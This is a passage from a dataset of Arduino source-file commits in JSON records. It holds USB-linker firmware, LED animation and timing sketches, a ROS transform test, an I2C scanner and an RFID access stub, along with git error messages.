#endif\n \n *pos = '\\0';\n}\n\nstatic void SignalPinInit(int8_t pin)\n{\n #define AUL_SETUP_PORT(x) \\\n if (pin < (pincnt += 8)) \\\n { \\\n g_signalDDR = &DDR##x; \\\n g_signalPORT = &PORT##x; \\\n g_signalPIN = &PIN##x; \\\n g_signalPinPortNum = (1 << (pin - (pincnt - 8))); \\\n goto finished; \\\n }\n \n int8_t pincnt = 0;\n \n g_signalPinNum = pin;\n\n #if defined(PORTB)\n AUL_SETUP_PORT(B);\n #endif\n #if defined(PORTC)\n AUL_SETUP_PORT(C);\n #endif\n #if defined(PORTD)\n AUL_SETUP_PORT(D);\n #endif\n #if defined(PORTE)\n AUL_SETUP_PORT(E);\n #endif\n #if defined(PORTF)\n AUL_SETUP_PORT(F);\n #endif\n #if defined(PORTG)\n AUL_SETUP_PORT(G);\n #endif\n #if defined(PORTH)\n AUL_SETUP_PORT(H);\n #endif\n #if defined(PORTI)\n AUL_SETUP_PORT(I);\n #endif\n #if defined(PORTJ)\n AUL_SETUP_PORT(J);\n #endif\n #if defined(PORTK)\n AUL_SETUP_PORT(K);\n #endif\n #if defined(PORTL)\n AUL_SETUP_PORT(L);\n #endif\n \n #if defined(PORTA)\n AUL_SETUP_PORT(A);\n #endif\n\nfinished: \n AUL_PINHIGH; \/\/ Enable pull-up\n AUL_PININPUT;\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SENDING on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic void SendByte(uint8_t b)\n{\n uint8_t i;\n for (i = 1; i; i <<= 1)\n {\n if (b & i)\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSend);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSend);\n }\n else\n {\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n AUL_PINLOW;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n }\n }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ RECEIVE on signal pin\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#define AUL_SPINPINHIGH \\\n TCNT2 = 0; \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_SPINPINLOW \\\n TCNT2 = 0; \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_NT_SPINPINHIGH \\\n while (AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_NT_SPINPINLOW \\\n while (!AUL_PINREAD) { if (TCNT2 > 250) goto timeout; }\n\n#define AUL_READBIT \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n if (TCNT2 <= g_shortBitTime) \\\n { \\\n AUL_SPINPINHIGH \\\n AUL_NT_SPINPINLOW \\\n b = 0; \\\n } \\\n else \\\n b = 1;\n\nstatic int8_t ReadLeader()\n{\n uint8_t i;\n \n \/\/ Skip the first few to let things stabilize\n for (i = 0; i < 9; i++)\n {\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n }\n\n#ifndef AUL_FIXED_TIMING\n \/\/ Calculate timing from header\n AUL_SPINPINHIGH\n AUL_NT_SPINPINLOW\n g_bitTime = TCNT2;\n g_shortBitTime = (g_bitTime >> 1) + (g_bitTime >> 2);\n#else\n \/\/ Use fixed timing\n g_bitTime = g_bitTimeSend << 1;\n g_shortBitTime = g_bitTimeSend + g_bitTimeSendHalf;\n#endif\n\n \/\/ Read until we get a 0 bit\n while (1)\n {\n uint8_t b;\n AUL_READBIT \/\/ Sets b to the bit value\n \n if (!b)\n return 0;\n }\n\ntimeout:\n return -1;\n}\n\nstatic void SetBitTime(uint16_t t)\n{\n if (t < AUL_MIN_BITTIME)\n t = AUL_MIN_BITTIME;\n else if (t > AUL_MAX_BITTIME)\n t = AUL_MAX_BITTIME;\n\n if (t * (F_CPU \/ 1000000) < 242)\n {\n g_timerScale = 2;\n g_timerConfig = (1 << CS20);\n }\n else if (t * (F_CPU \/ 1000000) \/ 8 < 242)\n {\n g_timerScale = 16;\n g_timerConfig = (1 << CS21);\n }\n else if (t * (F_CPU \/ 1000000) \/ 32 < 242)\n {\n g_timerScale = 64;\n g_timerConfig = (1 << CS21) | (1 << CS20);\n }\n else\n {\n return; \/\/ invalid time, no change\n }\n\n g_bitTimeSend = AUL_MICROS_TO_TICKS(t);\n g_bitTimeSendHalf = (g_bitTimeSend >> 1);\n}\n\n#if !defined(MULTIWII)\nstatic uint32_t EERead32(int pos)\n{\n uint32_t value;\n ((char*)&value)[0] = EEPROM.read(pos);\n ((char*)&value)[1] = EEPROM.read(pos + 1);\n ((char*)&value)[2] = EEPROM.read(pos + 2);\n ((char*)&value)[3] = EEPROM.read(pos + 3);\n return value;\n}\n\nstatic void EEWrite32(int pos, uint32_t value)\n{\n EEPROM.write(pos, ((char*)&value)[0]);\n EEPROM.write(pos + 1, ((char*)&value)[1]);\n EEPROM.write(pos + 2, ((char*)&value)[2]);\n EEPROM.write(pos + 3, ((char*)&value)[3]);\n}\n#endif \/\/ !MULTIWII\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Main\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nvoid AUL_loop(uint8_t port)\n{\n \/\/ Disable interrupts and timers\n cli();\n DisableAllTimers();\n \n #if defined(MULTIWII)\n #if defined(BUZZERPIN_OFF)\n BUZZERPIN_OFF;\n #endif\n #if defined(LEDPIN_OFF)\n LEDPIN_OFF;\n #endif\n #endif\n \n #if defined(MULTIWII)\n AUL_SerialInit(port);\n SetBitTime(AUL_DEFAULT_BITTIME);\n SignalPinInit(AUL_DEFAULT_PIN);\n #else\n if (EEPROM.read(0) != 'a' ||\n EEPROM.read(1) != 'u' ||\n EEPROM.read(2) != 'l')\n {\n EEPROM.write(0, 'a');\n EEPROM.write(1, 'u');\n EEPROM.write(2, 'l');\n EEPROM.write(3, 1); \/\/ version\n EEPROM.write(AUL_EEPROM_PIN, AUL_DEFAULT_PIN);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_DEFAULT_BITTIME);\n EEWrite32(AUL_EEPROM_BAUD, AUL_SERIALRATE);\n }\n\n SignalPinInit(EEPROM.read(AUL_EEPROM_PIN)); \n SetBitTime(EEPROM.read(AUL_EEPROM_BITTIME));\n\n g_baudRate = EERead32(AUL_EEPROM_BAUD);\n AUL_SerialInit(port);\n \n sei(); \/\/ Re-enable interrupts for Serial\n #endif\n\n \/\/ Set timer2 to count ticks\n AUL_SET_TIMER_MODE;\n\n \/\/ The buffer always has the leader at the start\n uint8_t buf[AUL_BUFSIZE] = { 0xFF, 0xFF, 0x7F };\n uint8_t lastPin = 0;\n int16_t buflen, i;\n\n while (1)\n {\n if (AUL_SerialAvailable())\n {\n buflen = 3;\n buf[buflen++] = AUL_SerialRead();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_SYNC_PRESCALER;\n TCNT2 = 0; \n \/\/ Buffer data until the serial timeout\n do {\n if (AUL_SerialAvailable())\n {\n buf[buflen++] = AUL_SerialRead();\n TCNT2 = 0;\n }\n } while (TCNT2 < AUL_SERIALTIMEOUT);\n \n \/\/ Set timer2 back to normal\n AUL_SET_TIMER_MODE;\n \n if (buf[3] == '$' && buf[4] == 'M' && buf[5] == '<')\n {\n#if !defined(MULTIWII)\n int8_t setbaud = 0;\n#endif\n\n buf[buflen] = '\\0';\n \n switch(buf[6])\n {\n case 'B': { \/\/ BITTIME\n SetBitTime(AUL_atoi((const char*)&buf[7]));\n break; }\n case 'P': \/\/ SELECT PORT\n SignalPinInit(AUL_atoi((const char*)&buf[7]));\n break;\n#if !defined(MULTIWII)\n case 'R': \/\/ BAUD RATE\n g_baudRate = AUL_atoi((const char*)&buf[7]);\n\n if (g_baudRate < 9600)\n g_baudRate = 9600;\n\n setbaud = 1;\n break;\n case 'W': \/\/ WRITE EEPROM settings\n EEPROM.write(AUL_EEPROM_PIN, g_signalPinNum);\n EEPROM.write(AUL_EEPROM_BITTIME, AUL_MICROS_TO_TICKS_R(g_bitTimeSend));\n EEWrite32(AUL_EEPROM_BAUD, g_baudRate);\n AUL_SerialWriteStr(\"saved:\");\n break;\n#endif \/\/ !MULTIWII\n default:\n break;\n }\n \n \/\/ Send status afterwards\n char* pos = (char*)&buf[3];\n *pos++ = 'P';\n pos = AUL_itoa(g_signalPinNum, pos);\n pos[0] = ':';\n pos[1] = 'B';\n pos += 2;\n pos = AUL_itoa(AUL_MICROS_TO_TICKS_R(g_bitTimeSend), pos);\n pos[0] = ':';\n pos[1] = 'R';\n pos += 2;\n pos = AUL_itoa(g_baudRate, pos);\n *pos++ = ':';\n \n SignalPinStatus(pos);\n \n AUL_SerialWriteStr((const char*)&buf[3]);\n AUL_SerialWrite('\\n');\n \n#if !defined(MULTIWII)\n if (setbaud)\n {\n \/\/ Arduino Serial.flush does not work correctly\n Serial.flush();\n \n \/\/ Temporarily set timer2 to count ticks\/128\n#if defined(__AVR_ATmega8__)\n TCCR2 = (1 << CS22) | (1 << CS20); \n#else\n TCCR2B = (1 << CS22) | (1 << CS20); \n#endif\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_DELAYTICKS(AUL_SERIALTIMEOUT);\n AUL_SET_TIMER_MODE;\n \n AUL_SerialInit(port);\n }\n#endif \/\/ !MULTIWII\n }\n else\n {\n AUL_PINOUTPUT;\n AUL_SYNC_PRESCALER;\n\n \/\/ Send data over signal pin\n for (i = 0; i < buflen; i++)\n SendByte(buf[i]);\n \n \/\/ Trailer\n AUL_PINHIGH;\n AUL_DELAYTICKS(g_bitTimeSendHalf);\n\n AUL_PININPUT; \/\/ Pull-up is enabled from previous PINHIGH\n lastPin = 1;\n }\n }\n else\n {\n \/\/ Here we look for a low to high transition on the signal pin\n uint8_t curPin = AUL_PINREAD;\n \n if (!lastPin && curPin)\n {\n AUL_SYNC_PRESCALER;\n \n \/\/ Buffer data from signal pin then write to serial port\n if (ReadLeader() == 0)\n {\n uint8_t i, byt, b;\n buflen = 3;\n \n \/\/ Read bytes until timeout\n while (1)\n {\n for (i = 0, byt = 0; i < 8; i++)\n {\n AUL_READBIT \/\/ Sets b to the bit value\n byt |= b << i;\n }\n \n buf[buflen++] = byt;\n }\n\ntimeout:\n AUL_SerialWriteBuf(&buf[3], buflen - 3);\n }\n }\n\n lastPin = curPin;\n }\n }\n}\n\n#if !defined(MULTIWII)\n\nint main(int argc, char* argv[])\n{\n AUL_loop(0);\n return 0;\n}\n\n#endif \/\/ !MULTIWII\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/ArduinoUSBLinker\/ArduinoUSBLinker.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b6b4d708291ba4e51df998f7b868fe97d032e56b","subject":"New default board","message":"New default board\n","repos":"DanNixon\/Alice,DanNixon\/Alice","old_file":"TransmitterFirmware\/TransmitterFirmware.ino","new_file":"TransmitterFirmware\/TransmitterFirmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DanNixon\/Alice.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e22e32adf4253dc09b6897c3902b42dde9a77586","subject":"a new rain pattern, optimized just enough that it should work on the staff and the lamp","message":"a new rain pattern, optimized just enough that it should work on the staff and the lamp\n","repos":"elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino,elliottkember\/sworduino","old_file":"rain3\/rain3.ino","new_file":"rain3\/rain3.ino","new_contents":"\/*\nsimlated a mesh of springs, where brightness is the height each light\nis away from the \"mesh\"\n*\/\n\n#include \"FastLED.h\"\n#define LED_DT 7 \/\/ Data pin to connect to the strip.\n#define COLOR_ORDER GRB \/\/ Are they RGB, GRB or what??\n#define LED_TYPE WS2812B \/\/ Don't forget to change LEDS.addLeds\n#define TRUE_LED_COUNT 300 \/\/\/ 1500 if this is a staff, 300 if it is a lamp.\n\/\/ #define NUM_LEDS 150\n#define BRIGHTNESS_GAIN 1.0\n#define MAX_BRIGHTNESS 80\n\n#define DROP_FORCE 30\n\n#define TRANSITION_LENGTH 30\n#define TRANSITION_DELAY 80\n#define TRANSITION_LENGTH_VARIANCE 30\n#define TRANSITION_DELAY_VARIANCE 300\n\n#define L 8 \/\/ LIGHTS_PER_WRAP\n#define O 2 \/\/ LOOP_OFFSET_MM\n#define W 10 \/\/ HORIZONTAL_SPACE_MM\n#define H 10 \/\/ VERTICAL_SPACE_MM\n\/\/ #define K 3 \/\/ SPRING_CONST\n\n\n#define VEL_DAMPING .9 \/\/ number between 0 and 1;\n#define MAX_VEL 1.5\n#define FALL_SPEED 0\n\n\/* non-default *\/\n#define NUM_LEDS 100 \/\/1500\n#define K 1 \/\/ SPRING_CONST\n\/\/ #define DROP_FORCE 60\n\/\/ #define MAX_BRIGHTNESS 128\n\/\/ #define BRIGHTNESS_GAIN 1.0\n\/* end non-default *\/\n\n\nstruct CRGB leds[TRUE_LED_COUNT];\nfloat aleds_vel[NUM_LEDS];\nfloat aleds_brightness[NUM_LEDS];\nfloat anext_leds_brightness[NUM_LEDS];\nfloat bleds_vel[NUM_LEDS];\nfloat bleds_brightness[NUM_LEDS];\nfloat bnext_leds_brightness[NUM_LEDS];\n\nint counter = 0;\n\n\/\/\/* begin neighborhood\nint neighbor_count = 8;\nfloat neighbor_dist[8];\nint idx_offset[8];\n\nvoid init_helper_values() {\n neighbor_dist[0] = sqrt((H*H)+((W-O)*(W-O)));\n neighbor_dist[1] = sqrt((H*H)+(O*O));\n neighbor_dist[2] = sqrt((H*H)+((W+O)*(W+O)));\n neighbor_dist[3] = W;\n neighbor_dist[4] = neighbor_dist[0];\n neighbor_dist[5] = neighbor_dist[1];\n neighbor_dist[6] = neighbor_dist[2];\n neighbor_dist[7] = neighbor_dist[3];\n\n idx_offset[0] = -L-1;\n idx_offset[1] = -L;\n idx_offset[2] = -L+1;\n idx_offset[3] = -1;\n idx_offset[4] = 1;\n idx_offset[5] = L-1;\n idx_offset[6] = L;\n idx_offset[7] = L+1;\n}\n\/\/*\/ \/\/ end neighborhood\n\n\n\nvoid setup() {\n delay(1000);\n Serial.begin(57600);\n LEDS.addLeds<LED_TYPE, LED_DT, COLOR_ORDER>(leds, TRUE_LED_COUNT);\n FastLED.setBrightness(255);\n set_max_power_in_volts_and_milliamps(5, 10000);\n randomSeed(analogRead(0));\n init_helper_values();\n\n for (int i = 0; i < TRUE_LED_COUNT; i++) {\n leds[i] = CRGB(0, 0, 0);\n }\n}\n\nfloat accel(float brightness, float dist){\n \/\/ assume a mass of one and compute the force vector from the sprint.\n float delta = (sqrt((dist*dist)+(brightness*brightness)) - dist);\n float force = K * delta;\n \/\/ only want the vertical component of the force vector\n return force * (brightness \/ (delta + dist));\n}\n\nfloat get_brightness(int idx, float *leds_brightness){\n if ((idx < 0) || (idx >= NUM_LEDS)) {\n return leds_brightness[(idx + NUM_LEDS) % NUM_LEDS];\n \/\/ return 0;\n } else {\n return leds_brightness[idx];\n }\n}\n\nfloat apply_acc(float vel, float acc){\n float ret_vel = vel+acc;\n if (ret_vel > MAX_VEL){\n ret_vel = MAX_VEL;\n }\n if (ret_vel < -MAX_VEL){\n ret_vel = -MAX_VEL;\n }\n return ret_vel * VEL_DAMPING;\n}\n\nfloat next_for_idx(int idx, float *leds_brightness, float *leds_vel){\n float a = 0;\n float dist;\n float brightness;\n float force;\n \/\/ how hard does each spring pull on light `idx`?\n for (int i = 0; i < neighbor_count; i++){\n dist = neighbor_dist[i];\n brightness = (\n get_brightness(idx, leds_brightness) -\n get_brightness(idx + idx_offset[i], leds_brightness)\n );\n force = accel(brightness, dist);\n a -= force; \/\/ assume mass is 1.\n }\n leds_vel[idx] = apply_acc(leds_vel[idx], a);\n\n return leds_brightness[idx] + leds_vel[idx];\n}\n\nCRGB bright2CRGB(float brightness){\n if (brightness <= 0) {\n return CRGB(-brightness, 0, -brightness);\n } else if (brightness > 0) {\n return CRGB(0,brightness \/ 4,brightness \/ 2);\n } else {\n return CRGB(0,0,0);\n }\n}\n\nfloat color_rotate = 0.0;\nfloat color_a[6];\nfloat color_b[6];\n\nvoid change_color(float *color_array){\n for (int i = 0; i < 6; i++)\n color_array[i] = ((float)random(255)) \/ 255.0;\n Serial.printf(\"\\n%.2f %.2f %.2f\\n%.2f %.2f %.2f\",\n color_array[0],\n color_array[1],\n color_array[2],\n color_array[3],\n color_array[4],\n color_array[5]\n );\n Serial.println();\n}\n\nint color_transition = 1;\nint color_transition_len = 0;\nint color_transition_delay = 20;\nfloat color_transition_inc = 0.0;\n\nvoid transition(){\n if (color_transition-- <= 0){\n if (color_transition_len > 0){\n color_transition_len = 0;\n color_transition = random(TRANSITION_DELAY_VARIANCE) + TRANSITION_DELAY;\n color_transition_delay = color_transition;\n } else {\n color_transition_delay = 0;\n color_transition = random(TRANSITION_LENGTH_VARIANCE) + TRANSITION_LENGTH;\n color_transition_len = color_transition;\n if (color_rotate < .1){\n change_color(color_a);\n color_transition_inc = (1-color_rotate) \/ color_transition_len;\n } else {\n change_color(color_b);\n color_transition_inc = -(color_rotate \/ color_transition_len);\n }\n }\n Serial.println();\n } else {\n if (color_transition_len > 0){\n color_rotate += color_transition_inc;\n }\n if (color_transition_delay > 0){\n \/\/ waiting\n }\n }\n}\n\nCRGB dualbright2CRGB(float abright, float bbright){\n float r=0, b=0, g=0;\n if (abright > 0) {\n r += color_rotate * abright * color_a[0];\n g += color_rotate * abright * color_a[1];\n b += color_rotate * abright * color_a[2];\n } else if (abright <= 0) {\n r -= color_rotate * abright * color_a[3];\n g -= color_rotate * abright * color_a[4];\n b -= color_rotate * abright * color_a[5];\n }\n if (bbright > 0) {\n r += (1 - color_rotate) * bbright * color_b[0];\n g += (1 - color_rotate) * bbright * color_b[1];\n b += (1 - color_rotate) * bbright * color_b[2];\n } else if (bbright <= 0) {\n r -= (1 - color_rotate) * bbright * color_b[3];\n g -= (1 - color_rotate) * bbright * color_b[4];\n b -= (1 - color_rotate) * bbright * color_b[5];\n }\n return CRGB(\n min(BRIGHTNESS_GAIN * r, MAX_BRIGHTNESS),\n min(BRIGHTNESS_GAIN * g, MAX_BRIGHTNESS),\n min(BRIGHTNESS_GAIN * 4 * b\/3, MAX_BRIGHTNESS)\n );\n}\n\nbool atoggle = true;\nbool btoggle = true;\nCRGB temp_led_val;\n\nfloat drop_force;\n\nvoid rain() {\n transition();\n for (int i = 0; i < NUM_LEDS; i++) {\n anext_leds_brightness[i] = next_for_idx(i, aleds_brightness, aleds_vel);\n bnext_leds_brightness[i] = next_for_idx(i, bleds_brightness, bleds_vel);\n }\n if (random(10) == 0){\n drop_force = random(10) + DROP_FORCE;\n if (atoggle) anext_leds_brightness[random(NUM_LEDS)] = drop_force;\n else anext_leds_brightness[random(NUM_LEDS)] = -drop_force;\n atoggle = !atoggle;\n }\n if (random(10) == 0){\n drop_force = random(10) + DROP_FORCE;\n if (btoggle) bnext_leds_brightness[random(NUM_LEDS)] = drop_force;\n else bnext_leds_brightness[random(NUM_LEDS)] = -drop_force;\n btoggle = !btoggle;\n }\n for (int _k = 0, k=0; _k<TRUE_LED_COUNT; _k++){\n k = _k%NUM_LEDS;\n k = 20 \/ NUM_LEDS % 2 == 0 ? k : (NUM_LEDS - k);\n aleds_brightness[k] = anext_leds_brightness[k];\n bleds_brightness[k] = bnext_leds_brightness[k];\n temp_led_val = dualbright2CRGB(aleds_brightness[k], bleds_brightness[k]);\n leds[_k] = temp_led_val;\n leds[_k] = temp_led_val;\n }\n show_at_max_brightness_for_power();\n counter++;\n counter = counter % (TRUE_LED_COUNT * FALL_SPEED * 10);\n}\n\nvoid loop(){\n rain();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rain3\/rain3.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c49370d1dde9347a35de8d94bbe89b701c40266d","subject":"Added files via upload","message":"Added files via upload","repos":"miikama\/pajakurssi","old_file":"leditestia.ino","new_file":"leditestia.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#include \"Time.h\"\n\n\n\n\n\n\n#define PIN 6\n\n\/\/ Parameter 1 = number of pixels in strip\n\/\/ Parameter 2 = pin number (most are valid)\n\/\/ Parameter 3 = pixel type flags, add together as needed:\n\/\/ NEO_KHZ800 800 KHz bitstream (most NeoPixel products w\/WS2812 LEDs)\n\/\/ NEO_KHZ400 400 KHz (classic 'v1' (not v2) FLORA pixels, WS2811 drivers)\n\/\/ NEO_GRB Pixels are wired for GRB bitstream (most NeoPixel products)\n\/\/ NEO_RGB Pixels are wired for RGB bitstream (v1 FLORA pixels, not v2)\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(60, PIN, NEO_GRB + NEO_KHZ800);\n \nvoid setup() {\n strip.begin();\n strip.show(); \/\/ Initialize all pixels to 'off'\n Serial.begin(9600);\n Serial.println(\"alkaa\");\n \n}\n\nint i = 0;\nint p = 0;\n\nvoid loop() {\n \/\/i = (i +1) % 4;\n \/\/strip.setPixelColor(i, 255, 0, 255);\n strip.show();\n \n \/\/Serial.println(\"mika ledi\");\n \/\/int led_nro = read_serial();\n \/\/Serial.println(\"anna rgb arvoja\");\n \/\/int r = read_serial();\n \/\/int g = read_serial();\n \/\/int b = read_serial();\n while(true) {\n \n unsigned long startt = micros();\n unsigned long endt = micros();\n \n strip.setPixelColor(0, 255, 255, 255);\n \/\/strip.setPixelColor((i-1)%8, 0, 0, 0);\n strip.show();\n strip.setPixelColor(0,0,0,0);\n strip.show();\n i = (i+1)%100;\n if (i == 0) {\n if (p==1) {\n startt = millis();\n Serial.print(\"alku:\");\n Serial.println(startt);\n strip.setPixelColor(1,255,0,0);\n strip.show();\n p = 0;\n } else {\n endt = millis();\n Serial.print(\"loppu: \");\n Serial.println(endt);\n Serial.print(\"aikaa menee: \");\n unsigned long diff = endt-startt;\n Serial.println(diff); \n strip.setPixelColor(1,0,0,0);\n strip.show();\n p = 1; \n }\n }\n }\n}\n\n\n\/* reads the serial for user inputted numbers*\/\nint read_serial() \n{\n char intBuffer[12];\n String intData = \"\";\n int delimiter = (int) '\\n';\n \n while(!Serial.available());\n while(1){\n int ch = Serial.read();\n if(ch == -1) {}\n else if (ch == delimiter) {\n break;\n }\n else {\n intData += (char) ch;\n }\n }\n int intLength = intData.length() +1;\n intData.toCharArray(intBuffer, intLength);\n intData = \"\";\n int i = atoi(intBuffer);\n return i;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'leditestia.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ae39537df1b66ab0a492824bca738fa6a372e7e3","subject":"extend transform","message":"extend transform\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/tf_test_ext.ino","new_file":"testing\/arduino\/tf_test_ext.ino","new_contents":"#include <ros.h>\n#include <ros\/time.h>\n#include <tf\/transform_broadcaster.h>\n\nros::NodeHandle nh;\n\ngeometry_msgs::TransformStamped t;\ntf::TransformBroadcaster broadcaster;\n\nchar max_was_here[] = \"\/max_was_here\";\nchar base_link[] = \"\/base_link\";\nchar odom[] = \"\/odom\";\n\n\nstatic geometry_msgs::Quaternion createQuaternionFromRPY(double roll, double pitch, double yaw) {\n geometry_msgs::Quaternion q;\n double t0 = cos(yaw * 0.5);\n double t1 = sin(yaw * 0.5);\n double t2 = cos(roll * 0.5);\n double t3 = sin(roll * 0.5);\n double t4 = cos(pitch * 0.5);\n double t5 = sin(pitch * 0.5);\n q.w = t0 * t2 * t4 + t1 * t3 * t5;\n q.x = t0 * t3 * t4 - t1 * t2 * t5;\n q.y = t0 * t2 * t5 + t1 * t3 * t4;\n q.z = t1 * t2 * t4 - t0 * t3 * t5;\n return q;\n}\n\n\n\n\n\nvoid setup()\n{\n nh.initNode();\n broadcaster.init(nh);\n}\n\nfloat tempNumber = 0;\n\nvoid loop()\n{\n tempNumber += 0.1;\n\n t.header.frame_id = odom;\n t.child_frame_id = base_link;\n t.transform.translation.x = 0.0;\n t.transform.translation.y = 0.0;\n t.transform.translation.z = 1.0;\n\n t.transform.rotation = createQuaternionFromRPY(0.0, 0.0, tempNumber);\n \/*\n t.transform.rotation.x = 0.0;\n t.transform.rotation.y = 0.0;\n t.transform.rotation.z = 0.0;\n t.transform.rotation.w = 1.0;\n *\/\n\n t.header.stamp = nh.now();\n\n broadcaster.sendTransform(t);\n\n\n\n\n\n\n t.header.frame_id = base_link;\n t.child_frame_id = max_was_here;\n t.transform.translation.x = 0.0;\n t.transform.translation.y = 1.0;\n t.transform.translation.z = 0.0;\n\n t.transform.rotation = createQuaternionFromRPY(0.0, 0.0, 0.0);\n \/*\n t.transform.rotation.x = 0.0;\n t.transform.rotation.y = 0.0;\n t.transform.rotation.z = 0.0;\n t.transform.rotation.w = 1.0;\n *\/\n\n t.header.stamp = nh.now();\n\n broadcaster.sendTransform(t);\n nh.spinOnce();\n\n\n delay(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/tf_test_ext.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7875c1f8bf060ab44f3148f20d4aa902f76b2ee0","subject":"i2cdetect","message":"i2cdetect\n","repos":"ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook,ponty\/arduino-sketchbook","old_file":"i2cdetect\/i2cdetect.ino","new_file":"i2cdetect\/i2cdetect.ino","new_contents":"#include <Wire.h>\n#include <i2cdetect.h>\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"\\n=============\");\n Serial.println(__FILE__);\n Serial.println(__DATE__);\n Serial.println(__TIME__);\n Wire.begin();\n Serial.println(\"i2cdetect example\\n\");\n Serial.print(\"Scanning address range 0x03-0x77\\n\\n\");\n}\n\nvoid loop() {\n i2cdetect(); \/\/ default range from 0x03 to 0x77\n delay(4000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'i2cdetect\/i2cdetect.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"1c524986537547289e142b814b30a51f3ebcac36","subject":"Firmware initial commit.","message":"Firmware initial commit.\n","repos":"danawoodman\/sentry,danawoodman\/sentry,danawoodman\/sentry,danawoodman\/sentry","old_file":"firmware\/sentry.ino","new_file":"firmware\/sentry.ino","new_contents":"#define LED_PIN D7\n#define MAX_CARDS\nint state = 0;\n\ntypedef struct {\n char* rfid;\n bool allow;\n char* greeting;\n} Card;\n\nCard cards[1000];\nint numCards = 0;\n\nvoid setup() {\n numCards = 2;\n\n cards[0].rfid = \"0000000001\";\n cards[0].allow = true;\n cards[0].greeting = \"Welcome, Batman.\";\n\n cards[1].rfid = \"0000000002\";\n cards[1].allow = false;\n cards[1].greeting = \"No way, Joker!\";\n\n pinMode(LED_PIN, OUTPUT);\n}\nvoid loop() {\n digitalWrite(LED_PIN, (state) ? HIGH : LOW);\n\n \/\/invert the state\n state = !state;\n\n \/\/wait half a second\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/sentry.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"feb6dc8420c8b95c8d3007a22f37d75dbf21a93a","subject":"WiFly_Shield loopback test","message":"WiFly_Shield loopback 